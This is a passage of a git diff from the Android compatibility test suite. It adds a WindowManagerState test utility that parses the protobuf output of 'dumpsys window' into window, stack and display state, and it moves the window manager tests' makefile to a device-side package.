+ public Builder setStackId(int stackId) {
+ mStackId = stackId;
+ return this;
+ }
+
+ public Builder setWindowingMode(int windowingMode) {
+ mWindowingMode = windowingMode;
+ return this;
+ }
+
+ public Builder setActivityType(int activityType) {
+ mActivityType = activityType;
+ return this;
+ }
+
+ public WaitForValidActivityState build() {
+ return new WaitForValidActivityState(
+ mActivityName, mStackId, mWindowingMode, mActivityType);
+ }
+ }
+}
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java b/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java
new file mode 100644
index 0000000..28b0fda
--- /dev/null
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java
@@ -0,0 +1,924 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.view.Display.DEFAULT_DISPLAY;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
+import static android.server.am.ProtoExtractors.extract;
+import static android.server.am.StateLogger.log;
+import static android.server.am.StateLogger.logE;
+
+import static org.junit.Assert.fail;
+
+import android.content.res.Configuration;
+import android.graphics.Rect;
+import android.os.ParcelFileDescriptor;
+import android.support.test.InstrumentationRegistry;
+import android.view.nano.DisplayInfoProto;
+
+import com.android.server.wm.proto.nano.DisplayFramesProto;
+import com.android.server.wm.proto.nano.AppTransitionProto;
+import com.android.server.wm.proto.nano.AppWindowTokenProto;
+import com.android.server.wm.proto.nano.ConfigurationContainerProto;
+import com.android.server.wm.proto.nano.DisplayProto;
+import com.android.server.wm.proto.nano.IdentifierProto;
+import com.android.server.wm.proto.nano.PinnedStackControllerProto;
+import com.android.server.wm.proto.nano.StackProto;
+import com.android.server.wm.proto.nano.TaskProto;
+import com.android.server.wm.proto.nano.WindowContainerProto;
+import com.android.server.wm.proto.nano.WindowManagerServiceProto;
+import com.android.server.wm.proto.nano.WindowStateAnimatorProto;
+import com.android.server.wm.proto.nano.WindowStateProto;
+import com.android.server.wm.proto.nano.WindowSurfaceControllerProto;
+import com.android.server.wm.proto.nano.WindowTokenProto;
+
+import com.google.protobuf.nano.InvalidProtocolBufferNanoException;
+
+import java.io.ByteArrayOutputStream;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.util.ArrayList;
+import java.util.Comparator;
+import java.util.HashMap;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+
+public class WindowManagerState {
+ public static final String TRANSIT_ACTIVITY_OPEN = "TRANSIT_ACTIVITY_OPEN";
+ public static final String TRANSIT_ACTIVITY_CLOSE = "TRANSIT_ACTIVITY_CLOSE";
+ public static final String TRANSIT_TASK_OPEN = "TRANSIT_TASK_OPEN";
+ public static final String TRANSIT_TASK_CLOSE = "TRANSIT_TASK_CLOSE";
+
+ public static final String TRANSIT_WALLPAPER_OPEN = "TRANSIT_WALLPAPER_OPEN";
+ public static final String TRANSIT_WALLPAPER_CLOSE = "TRANSIT_WALLPAPER_CLOSE";
+ public static final String TRANSIT_WALLPAPER_INTRA_OPEN = "TRANSIT_WALLPAPER_INTRA_OPEN";
+ public static final String TRANSIT_WALLPAPER_INTRA_CLOSE = "TRANSIT_WALLPAPER_INTRA_CLOSE";
+
+ public static final String TRANSIT_KEYGUARD_GOING_AWAY = "TRANSIT_KEYGUARD_GOING_AWAY";
+ public static final String TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER =
+ "TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER";
+ public static final String TRANSIT_KEYGUARD_OCCLUDE = "TRANSIT_KEYGUARD_OCCLUDE";
+ public static final String TRANSIT_KEYGUARD_UNOCCLUDE = "TRANSIT_KEYGUARD_UNOCCLUDE";
+
+ public static final String APP_STATE_IDLE = "APP_STATE_IDLE";
+
+ private static final String DUMPSYS_WINDOW = "dumpsys window -a --proto";
+
+ private static final String STARTING_WINDOW_PREFIX = "Starting ";
+ private static final String DEBUGGER_WINDOW_PREFIX = "Waiting For Debugger: ";
+
+ // Windows in z-order with the top most at the front of the list.
+ private List<WindowState> mWindowStates = new ArrayList();
+ // Stacks in z-order with the top most at the front of the list, starting with primary display.
+ private final List<WindowStack> mStacks = new ArrayList();
+ // Stacks on all attached displays, in z-order with the top most at the front of the list.
+ private final Map<Integer, List<WindowStack>> mDisplayStacks
+ = new HashMap<>();
+ private List<Display> mDisplays = new ArrayList();
+ private String mFocusedWindow = null;
+ private String mFocusedApp = null;
+ private String mLastTransition = null;
+ private String mAppTransitionState = null;
+ private String mInputMethodWindowAppToken = null;
+ private Rect mDefaultPinnedStackBounds = new Rect();
+ private Rect mPinnedStackMovementBounds = new Rect();
+ private final LinkedList<String> mSysDump = new LinkedList();
+ private int mRotation;
+ private int mLastOrientation;
+ private boolean mDisplayFrozen;
+ private boolean mIsDockedStackMinimized;
+
+ public void computeState() {
+ // It is possible the system is in the middle of transition to the right state when we get
+ // the dump. We try a few times to get the information we need before giving up.
+ int retriesLeft = 3;
+ boolean retry = false;
+ byte[] dump = null;
+
+ log("==============================");
+ log(" WindowManagerState ");
+ log("==============================");
+ do {
+ if (retry) {
+ log("***Incomplete WM state. Retrying...");
+ // Wait half a second between retries for window manager to finish transitioning...
+ try {
+ Thread.sleep(500);
+ } catch (InterruptedException e) {
+ log(e.toString());
+ // Well I guess we are not waiting...
+ }
+ }
+
+ dump = executeShellCommand(DUMPSYS_WINDOW);
+ try {
+ parseSysDumpProto(dump);
+ } catch (InvalidProtocolBufferNanoException ex) {
+ throw new RuntimeException("Failed to parse dumpsys:\n"
+ + new String(dump, StandardCharsets.UTF_8), ex);
+ }
+
+ retry = mWindowStates.isEmpty() || mFocusedApp == null;
+ } while (retry && retriesLeft-- > 0);
+
+ if (mWindowStates.isEmpty()) {
+ logE("No Windows found...");
+ }
+ if (mFocusedWindow == null) {
+ logE("No Focused Window...");
+ }
+ if (mFocusedApp == null) {
+ logE("No Focused App...");
+ }
+ }
+
+ private byte[] executeShellCommand(String cmd) {
+ try {
+ ParcelFileDescriptor pfd =
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .executeShellCommand(cmd);
+ byte[] buf = new byte[512];
+ int bytesRead;
+ FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfd);
+ ByteArrayOutputStream stdout = new ByteArrayOutputStream();
+ while ((bytesRead = fis.read(buf)) != -1) {
+ stdout.write(buf, 0, bytesRead);
+ }
+ fis.close();
+ return stdout.toByteArray();
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+
+ private void parseSysDumpProto(byte[] sysDump) throws InvalidProtocolBufferNanoException {
+ reset();
+ WindowManagerServiceProto state = WindowManagerServiceProto.parseFrom(sysDump);
+ List<WindowState> allWindows = new ArrayList<>();
+ Map<String, WindowState> windowMap = new HashMap<>();
+ if (state.focusedWindow != null) {
+ mFocusedWindow = state.focusedWindow.title;
+ }
+ mFocusedApp = state.focusedApp;
+ for (int i = 0; i < state.rootWindowContainer.displays.length; i++) {
+ DisplayProto displayProto = state.rootWindowContainer.displays[i];
+ final Display display = new Display(displayProto);
+ mDisplays.add(display);
+ allWindows.addAll(display.getWindows());
+ List<WindowStack> stacks = new ArrayList<>();
+ for (int j = 0; j < displayProto.stacks.length; j++) {
+ StackProto stackProto = displayProto.stacks[j];
+ final WindowStack stack = new WindowStack(stackProto);
+ mStacks.add(stack);
+ stacks.add(stack);
+ allWindows.addAll(stack.getWindows());
+ }
+ mDisplayStacks.put(display.mDisplayId, stacks);
+
+ // use properties from the default display only
+ if (display.getDisplayId() == DEFAULT_DISPLAY) {
+ if (displayProto.dockedStackDividerController != null) {
+ mIsDockedStackMinimized =
+ displayProto.dockedStackDividerController.minimizedDock;
+ }
+ PinnedStackControllerProto pinnedStackProto = displayProto.pinnedStackController;
+ if (pinnedStackProto != null) {
+ mDefaultPinnedStackBounds = extract(pinnedStackProto.defaultBounds);
+ mPinnedStackMovementBounds = extract(pinnedStackProto.movementBounds);
+ }
+ }
+ }
+ for (WindowState w : allWindows) {
+ windowMap.put(w.getToken(), w);
+ }
+ for (int i = 0; i < state.rootWindowContainer.windows.length; i++) {
+ IdentifierProto identifierProto = state.rootWindowContainer.windows[i];
+ String hash_code = Integer.toHexString(identifierProto.hashCode);
+ mWindowStates.add(windowMap.get(hash_code));
+ }
+ if (state.inputMethodWindow != null) {
+ mInputMethodWindowAppToken = Integer.toHexString(state.inputMethodWindow.hashCode);
+ }
+ mDisplayFrozen = state.displayFrozen;
+ mRotation = state.rotation;
+ mLastOrientation = state.lastOrientation;
+ AppTransitionProto appTransitionProto = state.appTransition;
+ int appState = 0;
+ int lastTransition = 0;
+ if (appTransitionProto != null) {
+ appState = appTransitionProto.appTransitionState;
+ lastTransition = appTransitionProto.lastUsedAppTransition;
+ }
+ mAppTransitionState = appStateToString(appState);
+ mLastTransition = appTransitionToString(lastTransition);
+ }
+
+ static String appStateToString(int appState) {
+ switch (appState) {
+ case AppTransitionProto.APP_STATE_IDLE:
+ return "APP_STATE_IDLE";
+ case AppTransitionProto.APP_STATE_READY:
+ return "APP_STATE_READY";
+ case AppTransitionProto.APP_STATE_RUNNING:
+ return "APP_STATE_RUNNING";
+ case AppTransitionProto.APP_STATE_TIMEOUT:
+ return "APP_STATE_TIMEOUT";
+ default:
+ fail("Invalid AppTransitionState");
+ return null;
+ }
+ }
+
+ static String appTransitionToString(int transition) {
+ switch (transition) {
+ case AppTransitionProto.TRANSIT_UNSET: {
+ return "TRANSIT_UNSET";
+ }
+ case AppTransitionProto.TRANSIT_NONE: {
+ return "TRANSIT_NONE";
+ }
+ case AppTransitionProto.TRANSIT_ACTIVITY_OPEN: {
+ return TRANSIT_ACTIVITY_OPEN;
+ }
+ case AppTransitionProto.TRANSIT_ACTIVITY_CLOSE: {
+ return TRANSIT_ACTIVITY_CLOSE;
+ }
+ case AppTransitionProto.TRANSIT_TASK_OPEN: {
+ return TRANSIT_TASK_OPEN;
+ }
+ case AppTransitionProto.TRANSIT_TASK_CLOSE: {
+ return TRANSIT_TASK_CLOSE;
+ }
+ case AppTransitionProto.TRANSIT_TASK_TO_FRONT: {
+ return "TRANSIT_TASK_TO_FRONT";
+ }
+ case AppTransitionProto.TRANSIT_TASK_TO_BACK: {
+ return "TRANSIT_TASK_TO_BACK";
+ }
+ case AppTransitionProto.TRANSIT_WALLPAPER_CLOSE: {
+ return TRANSIT_WALLPAPER_CLOSE;
+ }
+ case AppTransitionProto.TRANSIT_WALLPAPER_OPEN: {
+ return TRANSIT_WALLPAPER_OPEN;
+ }
+ case AppTransitionProto.TRANSIT_WALLPAPER_INTRA_OPEN: {
+ return TRANSIT_WALLPAPER_INTRA_OPEN;
+ }
+ case AppTransitionProto.TRANSIT_WALLPAPER_INTRA_CLOSE: {
+ return TRANSIT_WALLPAPER_INTRA_CLOSE;
+ }
+ case AppTransitionProto.TRANSIT_TASK_OPEN_BEHIND: {
+ return "TRANSIT_TASK_OPEN_BEHIND";
+ }
+ case AppTransitionProto.TRANSIT_ACTIVITY_RELAUNCH: {
+ return "TRANSIT_ACTIVITY_RELAUNCH";
+ }
+ case AppTransitionProto.TRANSIT_DOCK_TASK_FROM_RECENTS: {
+ return "TRANSIT_DOCK_TASK_FROM_RECENTS";
+ }
+ case AppTransitionProto.TRANSIT_KEYGUARD_GOING_AWAY: {
+ return TRANSIT_KEYGUARD_GOING_AWAY;
+ }
+ case AppTransitionProto.TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER: {
+ return TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER;
+ }
+ case AppTransitionProto.TRANSIT_KEYGUARD_OCCLUDE: {
+ return TRANSIT_KEYGUARD_OCCLUDE;
+ }
+ case AppTransitionProto.TRANSIT_KEYGUARD_UNOCCLUDE: {
+ return TRANSIT_KEYGUARD_UNOCCLUDE;
+ }
+ default: {
+ fail("Invalid lastUsedAppTransition");
+ return null;
+ }
+ }
+ }
+
+ void getMatchingWindowTokens(final String windowName, List<String> tokenList) {
+ tokenList.clear();
+
+ for (WindowState ws : mWindowStates) {
+ if (windowName.equals(ws.getName())) {
+ tokenList.add(ws.getToken());
+ }
+ }
+ }
+
+ public void getMatchingVisibleWindowState(final String windowName, List<WindowState> windowList) {
+ windowList.clear();
+ for (WindowState ws : mWindowStates) {
+ if (ws.isShown() && windowName.equals(ws.getName())) {
+ windowList.add(ws);
+ }
+ }
+ }
+
+ public void getPrefixMatchingVisibleWindowState(final String windowName,
+ List<WindowState> windowList) {
+ windowList.clear();
+ for (WindowState ws : mWindowStates) {
+ if (ws.isShown() && ws.getName().startsWith(windowName)) {
+ windowList.add(ws);
+ }
+ }
+ }
+
+ public WindowState getWindowByPackageName(String packageName, int windowType) {
+ for (WindowState ws : mWindowStates) {
+ final String name = ws.getName();
+ if (name == null || !name.contains(packageName)) {
+ continue;
+ }
+ if (windowType != ws.getType()) {
+ continue;
+ }
+ return ws;
+ }
+
+ return null;
+ }
+
+ public void getWindowsByPackageName(String packageName, List<Integer> restrictToTypeList,
+ List<WindowState> outWindowList) {
+ outWindowList.clear();
+ for (WindowState ws : mWindowStates) {
+ final String name = ws.getName();
+ if (name == null || !name.contains(packageName)) {
+ continue;
+ }
+ if (restrictToTypeList != null && !restrictToTypeList.contains(ws.getType())) {
+ continue;
+ }
+ outWindowList.add(ws);
+ }
+ }
+
+ WindowState getWindowStateForAppToken(String appToken) {
+ for (WindowState ws : mWindowStates) {
+ if (ws.getToken().equals(appToken)) {
+ return ws;
+ }
+ }
+ return null;
+ }
+
+ Display getDisplay(int displayId) {
+ for (Display display : mDisplays) {
+ if (displayId == display.getDisplayId()) {
+ return display;
+ }
+ }
+ return null;
+ }
+
+ String getFrontWindow() {
+ if (mWindowStates == null || mWindowStates.isEmpty()) {
+ return null;
+ }
+ return mWindowStates.get(0).getName();
+ }
+
+ public String getFocusedWindow() {
+ return mFocusedWindow;
+ }
+
+ String getFocusedApp() {
+ return mFocusedApp;
+ }
+
+ String getLastTransition() {
+ return mLastTransition;
+ }
+
+ String getAppTransitionState() {
+ return mAppTransitionState;
+ }
+
+ int getFrontStackId(int displayId) {
+ return mDisplayStacks.get(displayId).get(0).mStackId;
+ }
+
+ int getFrontStackActivityType(int displayId) {
+ return mDisplayStacks.get(displayId).get(0).getActivityType();
+ }
+
+ public int getRotation() {
+ return mRotation;
+ }
+
+ int getLastOrientation() {
+ return mLastOrientation;
+ }
+
+ boolean containsStack(int stackId) {
+ for (WindowStack stack : mStacks) {
+ if (stackId == stack.mStackId) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ boolean containsStack(int windowingMode, int activityType) {
+ for (WindowStack stack : mStacks) {
+ if (activityType != ACTIVITY_TYPE_UNDEFINED
+ && activityType != stack.getActivityType()) {
+ continue;
+ }
+ if (windowingMode != WINDOWING_MODE_UNDEFINED
+ && windowingMode != stack.getWindowingMode()) {
+ continue;
+ }
+ return true;
+ }
+ return false;
+ }
+
+ /**
+ * Check if there exists a window record with matching windowName.
+ */
+ boolean containsWindow(String windowName) {
+ for (WindowState window : mWindowStates) {
+ if (window.getName().equals(windowName)) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ /**
+ * Check if at least one window which matches provided window name is visible.
+ */
+ boolean isWindowVisible(String windowName) {
+ for (WindowState window : mWindowStates) {
+ if (window.getName().equals(windowName)) {
+ if (window.isShown()) {
+ return true;
+ }
+ }
+ }
+ return false;
+ }
+
+ boolean allWindowsVisible(String windowName) {
+ boolean allVisible = false;
+ for (WindowState window : mWindowStates) {
+ if (window.getName().equals(windowName)) {
+ if (!window.isShown()) {
+ log("[VISIBLE] not visible" + windowName);
+ return false;
+ }
+ log("[VISIBLE] visible" + windowName);
+ allVisible = true;
+ }
+ }
+ return allVisible;
+ }
+
+ WindowStack getStack(int stackId) {
+ for (WindowStack stack : mStacks) {
+ if (stackId == stack.mStackId) {
+ return stack;
+ }
+ }
+ return null;
+ }
+
+ WindowStack getStandardStackByWindowingMode(int windowingMode) {
+ for (WindowStack stack : mStacks) {
+ if (stack.getActivityType() != ACTIVITY_TYPE_STANDARD) {
+ continue;
+ }
+ if (stack.getWindowingMode() == windowingMode) {
+ return stack;
+ }
+ }
+ return null;
+ }
+
+ int getStackIndexByActivityType(int activityType) {
+ for (int i = 0; i < mStacks.size(); i++) {
+ if (activityType == mStacks.get(i).getActivityType()) {
+ return i;
+ }
+ }
+ return -1;
+ }
+
+ WindowState getInputMethodWindowState() {
+ return getWindowStateForAppToken(mInputMethodWindowAppToken);
+ }
+
+ Rect getStableBounds() {
+ return getDisplay(DEFAULT_DISPLAY).mStableBounds;
+ }
+
+ Rect getDefaultPinnedStackBounds() {
+ return mDefaultPinnedStackBounds;
+ }
+
+ Rect getPinnedStackMomentBounds() {
+ return mPinnedStackMovementBounds;
+ }
+
+ WindowState findFirstWindowWithType(int type) {
+ for (WindowState window : mWindowStates) {
+ if (window.getType() == type) {
+ return window;
+ }
+ }
+ return null;
+ }
+
+ public boolean isDisplayFrozen() {
+ return mDisplayFrozen;
+ }
+
+ public boolean isDockedStackMinimized() {
+ return mIsDockedStackMinimized;
+ }
+
+ public int getZOrder(WindowState w) {
+ return mWindowStates.indexOf(w);
+ }
+
+ private void reset() {
+ mSysDump.clear();
+ mStacks.clear();
+ mDisplays.clear();
+ mWindowStates.clear();
+ mDisplayStacks.clear();
+ mFocusedWindow = null;
+ mFocusedApp = null;
+ mLastTransition = null;
+ mInputMethodWindowAppToken = null;
+ mIsDockedStackMinimized = false;
+ mDefaultPinnedStackBounds.setEmpty();
+ mPinnedStackMovementBounds.setEmpty();
+ mRotation = 0;
+ mLastOrientation = 0;
+ mDisplayFrozen = false;
+ }
+
+ class WindowStack extends WindowContainer {
+
+ int mStackId;
+ ArrayList<WindowTask> mTasks = new ArrayList();
+ boolean mWindowAnimationBackgroundSurfaceShowing;
+
+ WindowStack(StackProto proto) {
+ super(proto.windowContainer);
+ mStackId = proto.id;
+ mFullscreen = proto.fillsParent;
+ mBounds = extract(proto.bounds);
+ for (int i = 0; i < proto.tasks.length; i++) {
+ TaskProto taskProto = proto.tasks[i];
+ WindowTask task = new WindowTask(taskProto);
+ mTasks.add(task);
+ mSubWindows.addAll(task.getWindows());
+ }
+ mWindowAnimationBackgroundSurfaceShowing = proto.animationBackgroundSurfaceIsDimming;
+ }
+
+ WindowTask getTask(int taskId) {
+ for (WindowTask task : mTasks) {
+ if (taskId == task.mTaskId) {
+ return task;
+ }
+ }
+ return null;
+ }
+
+ boolean isWindowAnimationBackgroundSurfaceShowing() {
+ return mWindowAnimationBackgroundSurfaceShowing;
+ }
+ }
+
+ class WindowTask extends WindowContainer {
+
+ int mTaskId;
+ Rect mTempInsetBounds;
+ List<String> mAppTokens = new ArrayList();
+
+ WindowTask(TaskProto proto) {
+ super(proto.windowContainer);
+ mTaskId = proto.id;
+ mFullscreen = proto.fillsParent;
+ mBounds = extract(proto.bounds);
+ for (int i = 0; i < proto.appWindowTokens.length; i++) {
+ AppWindowTokenProto appWindowTokenProto = proto.appWindowTokens[i];
+ mAppTokens.add(appWindowTokenProto.name);
+ WindowTokenProto windowTokenProto = appWindowTokenProto.windowToken;
+ for (int j = 0; j < windowTokenProto.windows.length; j++) {
+ WindowStateProto windowProto = windowTokenProto.windows[j];
+ WindowState window = new WindowState(windowProto);
+ mSubWindows.add(window);
+ mSubWindows.addAll(window.getWindows());
+ }
+ }
+ mTempInsetBounds = extract(proto.tempInsetBounds);
+ }
+ }
+
+ static class ConfigurationContainer {
+ final Configuration mOverrideConfiguration = new Configuration();
+ final Configuration mFullConfiguration = new Configuration();
+ final Configuration mMergedOverrideConfiguration = new Configuration();
+
+ ConfigurationContainer(ConfigurationContainerProto proto) {
+ if (proto == null) {
+ return;
+ }
+ mOverrideConfiguration.setTo(extract(proto.overrideConfiguration));
+ mFullConfiguration.setTo(extract(proto.fullConfiguration));
+ mMergedOverrideConfiguration.setTo(extract(proto.mergedOverrideConfiguration));
+ }
+
+ int getWindowingMode() {
+ if (mFullConfiguration == null) {
+ return WINDOWING_MODE_UNDEFINED;
+ }
+ return mFullConfiguration.windowConfiguration.getWindowingMode();
+ }
+
+ int getActivityType() {
+ if (mFullConfiguration == null) {
+ return ACTIVITY_TYPE_UNDEFINED;
+ }
+ return mFullConfiguration.windowConfiguration.getActivityType();
+ }
+ }
+
+ abstract class WindowContainer extends ConfigurationContainer {
+
+ protected boolean mFullscreen;
+ protected Rect mBounds;
+ protected int mOrientation;
+ protected List<WindowState> mSubWindows = new ArrayList<>();
+
+ WindowContainer(WindowContainerProto proto) {
+ super(proto.configurationContainer);
+ mOrientation = proto.orientation;
+ }
+
+ Rect getBounds() {
+ return mBounds;
+ }
+
+ boolean isFullscreen() {
+ return mFullscreen;
+ }
+
+ List<WindowState> getWindows() {
+ return mSubWindows;
+ }
+ }
+
+ class Display extends WindowContainer {
+
+ private final int mDisplayId;
+ private Rect mDisplayRect = new Rect();
+ private Rect mAppRect = new Rect();
+ private int mDpi;
+ private Rect mStableBounds;
+
+ public Display(DisplayProto proto) {
+ super(proto.windowContainer);
+ mDisplayId = proto.id;
+ for (int i = 0; i < proto.aboveAppWindows.length; i++) {
+ addWindowsFromTokenProto(proto.aboveAppWindows[i]);
+ }
+ for (int i = 0; i < proto.belowAppWindows.length; i++) {
+ addWindowsFromTokenProto(proto.belowAppWindows[i]);
+ }
+ for (int i = 0; i < proto.imeWindows.length; i++) {
+ addWindowsFromTokenProto(proto.imeWindows[i]);
+ }
+ mDpi = proto.dpi;
+ DisplayInfoProto infoProto = proto.displayInfo;
+ if (infoProto != null) {
+ mDisplayRect.set(0, 0, infoProto.logicalWidth, infoProto.logicalHeight);
+ mAppRect.set(0, 0, infoProto.logicalWidth, infoProto.logicalHeight);
+ }
+ final DisplayFramesProto displayFramesProto = proto.displayFrames;
+ if (displayFramesProto != null) {
+ mStableBounds = extract(displayFramesProto.stableBounds);
+ }
+ }
+
+ private void addWindowsFromTokenProto(WindowTokenProto proto) {
+ for (int j = 0; j < proto.windows.length; j++) {
+ WindowStateProto windowProto = proto.windows[j];
+ WindowState childWindow = new WindowState(windowProto);
+ mSubWindows.add(childWindow);
+ mSubWindows.addAll(childWindow.getWindows());
+ }
+ }
+
+ int getDisplayId() {
+ return mDisplayId;
+ }
+
+ int getDpi() {
+ return mDpi;
+ }
+
+ Rect getDisplayRect() {
+ return mDisplayRect;
+ }
+
+ Rect getAppRect() {
+ return mAppRect;
+ }
+
+ @Override
+ public String toString() {
+ return "Display #" + mDisplayId + ": mDisplayRect=" + mDisplayRect
+ + " mAppRect=" + mAppRect;
+ }
+ }
+
+ public class WindowState extends WindowContainer {
+
+ private static final int WINDOW_TYPE_NORMAL = 0;
+ private static final int WINDOW_TYPE_STARTING = 1;
+ private static final int WINDOW_TYPE_EXITING = 2;
+ private static final int WINDOW_TYPE_DEBUGGER = 3;
+
+ private String mName;
+ private final String mAppToken;
+ private final int mWindowType;
+ private int mType = 0;
+ private int mDisplayId;
+ private int mStackId;
+ private int mLayer;
+ private boolean mShown;
+ private Rect mContainingFrame = new Rect();
+ private Rect mParentFrame = new Rect();
+ private Rect mContentFrame = new Rect();
+ private Rect mFrame = new Rect();
+ private Rect mSurfaceInsets = new Rect();
+ private Rect mContentInsets = new Rect();
+ private Rect mGivenContentInsets = new Rect();
+ private Rect mCrop = new Rect();
+
+ WindowState(WindowStateProto proto) {
+ super(proto.windowContainer);
+ IdentifierProto identifierProto = proto.identifier;
+ mName = identifierProto.title;
+ mAppToken = Integer.toHexString(identifierProto.hashCode);
+ mDisplayId = proto.displayId;
+ mStackId = proto.stackId;
+ if (proto.attributes != null) {
+ mType = proto.attributes.type;
+ }
+ WindowStateAnimatorProto animatorProto = proto.animator;
+ if (animatorProto != null) {
+ if (animatorProto.surface != null) {
+ WindowSurfaceControllerProto surfaceProto = animatorProto.surface;
+ mShown = surfaceProto.shown;
+ mLayer = surfaceProto.layer;
+ }
+ mCrop = extract(animatorProto.lastClipRect);
+ }
+ mGivenContentInsets = extract(proto.givenContentInsets);
+ mFrame = extract(proto.frame);
+ mContainingFrame = extract(proto.containingFrame);
+ mParentFrame = extract(proto.parentFrame);
+ mContentFrame = extract(proto.contentFrame);
+ mContentInsets = extract(proto.contentInsets);
+ mSurfaceInsets = extract(proto.surfaceInsets);
+ if (mName.startsWith(STARTING_WINDOW_PREFIX)) {
+ mWindowType = WINDOW_TYPE_STARTING;
+ // Existing code depends on the prefix being removed
+ mName = mName.substring(STARTING_WINDOW_PREFIX.length());
+ } else if (proto.animatingExit) {
+ mWindowType = WINDOW_TYPE_EXITING;
+ } else if (mName.startsWith(DEBUGGER_WINDOW_PREFIX)) {
+ mWindowType = WINDOW_TYPE_STARTING;
+ mName = mName.substring(DEBUGGER_WINDOW_PREFIX.length());
+ } else {
+ mWindowType = 0;
+ }
+ for (int i = 0; i < proto.childWindows.length; i++) {
+ WindowStateProto childProto = proto.childWindows[i];
+ WindowState childWindow = new WindowState(childProto);
+ mSubWindows.add(childWindow);
+ mSubWindows.addAll(childWindow.getWindows());
+ }
+ }
+
+ public String getName() {
+ return mName;
+ }
+
+ String getToken() {
+ return mAppToken;
+ }
+
+ boolean isStartingWindow() {
+ return mWindowType == WINDOW_TYPE_STARTING;
+ }
+
+ boolean isExitingWindow() {
+ return mWindowType == WINDOW_TYPE_EXITING;
+ }
+
+ boolean isDebuggerWindow() {
+ return mWindowType == WINDOW_TYPE_DEBUGGER;
+ }
+
+ int getDisplayId() {
+ return mDisplayId;
+ }
+
+ int getStackId() {
+ return mStackId;
+ }
+
+ public int getZOrder() {
+ return mWindowStates.size() - mWindowStates.indexOf(this);
+ }
+
+ Rect getContainingFrame() {
+ return mContainingFrame;
+ }
+
+ public Rect getFrame() {
+ return mFrame;
+ }
+
+ Rect getSurfaceInsets() {
+ return mSurfaceInsets;
+ }
+
+ Rect getContentInsets() {
+ return mContentInsets;
+ }
+
+ Rect getGivenContentInsets() {
+ return mGivenContentInsets;
+ }
+
+ public Rect getContentFrame() {
+ return mContentFrame;
+ }
+
+ Rect getParentFrame() {
+ return mParentFrame;
+ }
+
+ Rect getCrop() {
+ return mCrop;
+ }
+
+ boolean isShown() {
+ return mShown;
+ }
+
+ public int getType() {
+ return mType;
+ }
+
+ private String getWindowTypeSuffix(int windowType) {
+ switch (windowType) {
+ case WINDOW_TYPE_STARTING:
+ return " STARTING";
+ case WINDOW_TYPE_EXITING:
+ return " EXITING";
+ case WINDOW_TYPE_DEBUGGER:
+ return " DEBUGGER";
+ default:
+ break;
+ }
+ return "";
+ }
+
+ @Override
+ public String toString() {
+ return "WindowState: {" + mAppToken + " " + mName
+ + getWindowTypeSuffix(mWindowType) + "}" + " type=" + mType
+ + " cf=" + mContainingFrame + " pf=" + mParentFrame;
+ }
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk b/tests/framework/base/windowmanager/Android.mk
similarity index 64%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk
rename to tests/framework/base/windowmanager/Android.mk
index 0739743..2111f19 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk
+++ b/tests/framework/base/windowmanager/Android.mk
@@ -1,3 +1,4 @@
+#
# Copyright (C) 2015 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
@@ -11,28 +12,31 @@
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
-
+#
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
-LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_TAGS := tests optional
-LOCAL_MODULE := CtsWindowManagerHostTestCases
+LOCAL_SRC_FILES := \
+ $(call all-java-files-under, src) \
+ $(call all-java-files-under, alertwindowservice/src)
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_PACKAGE_NAME := CtsWindowManagerDeviceTestCases
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed CtsServicesHostTestCases
+LOCAL_JAVA_LIBRARIES := android.test.runner
+
LOCAL_STATIC_JAVA_LIBRARIES := \
- cts-amwm-util \
- platform-test-annotations-host
+ compatibility-device-util \
+ android-support-test \
+ platform-test-annotations \
+ cts-amwm-util
-LOCAL_CTS_TEST_PACKAGE := android.server.cts
-
-# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
+LOCAL_SDK_VERSION := test_current
-# Build the test APKs using their own makefiles
+include $(BUILD_CTS_PACKAGE)
+
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
new file mode 100644
index 0000000..4bcd576
--- /dev/null
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
